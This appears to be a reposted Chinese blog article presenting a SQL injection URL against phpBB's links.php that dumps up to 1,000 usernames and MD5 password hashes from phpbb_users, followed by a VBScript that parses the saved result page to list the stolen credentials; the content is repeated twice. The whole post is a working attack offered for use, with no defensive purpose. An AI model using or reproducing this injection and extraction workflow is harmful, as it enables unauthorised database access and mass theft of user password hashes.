一段提取用户名和md5的vbs代码
程序员文章站
2022-11-14 11:10:25
注入代码如下: links.php?t=search&search_keywords=asd&start=1,1 union select 1,username,user_...
注入代码如下:
links.php?t=search&search_keywords=asd&start=1,1 union select 1,username,user_password,4,5,6,7,8,9,10,11,12,13 from phpbb_users where user_id limit 0,1000/*
这样就提取了1000个用户名和md5,将上边的保存成htm,要挨个提取出md5和用户名很麻烦,写了段代码。这段代码我很满意,估计是最简单的提取方法了,呵呵。
代码如下:
'用法示例:cscript //nologo this.vbs c:\11000.htm >c:\1.txt
on error resume next
set ie=wscript.createobject("internetexplorer.application")
set arg=wscript.arguments
if arg.count=0 then wscript.quit
ie.visible=false
ie.navigate arg(0)
while ie.busy
wscript.sleep 100
wend
do
wscript.sleep 200
loop until ie.readystate=4
for i=12 to ie.document.links.length-2
data=ie.document.links(i).innertext
if data <>13 then
wscript.echo data
wscript.echo ie.document.links(i).alt
end if
next
msgbox "转换完毕"
links.php?t=search&search_keywords=asd&start=1,1 union select 1,username,user_password,4,5,6,7,8,9,10,11,12,13 from phpbb_users where user_id limit 0,1000/*
这样就提取了1000个用户名和md5,将上边的保存成htm,要挨个提取出md5和用户名很麻烦,写了段代码。这段代码我很满意,估计是最简单的提取方法了,呵呵。
代码如下:
'用法示例:cscript //nologo this.vbs c:\11000.htm >c:\1.txt
复制代码 代码如下:
on error resume next
set ie=wscript.createobject("internetexplorer.application")
set arg=wscript.arguments
if arg.count=0 then wscript.quit
ie.visible=false
ie.navigate arg(0)
while ie.busy
wscript.sleep 100
wend
do
wscript.sleep 200
loop until ie.readystate=4
for i=12 to ie.document.links.length-2
data=ie.document.links(i).innertext
if data <>13 then
wscript.echo data
wscript.echo ie.document.links(i).alt
end if
next
msgbox "转换完毕"
上一篇: 明朝宰相一生辞职一百多次,每次皇帝都不理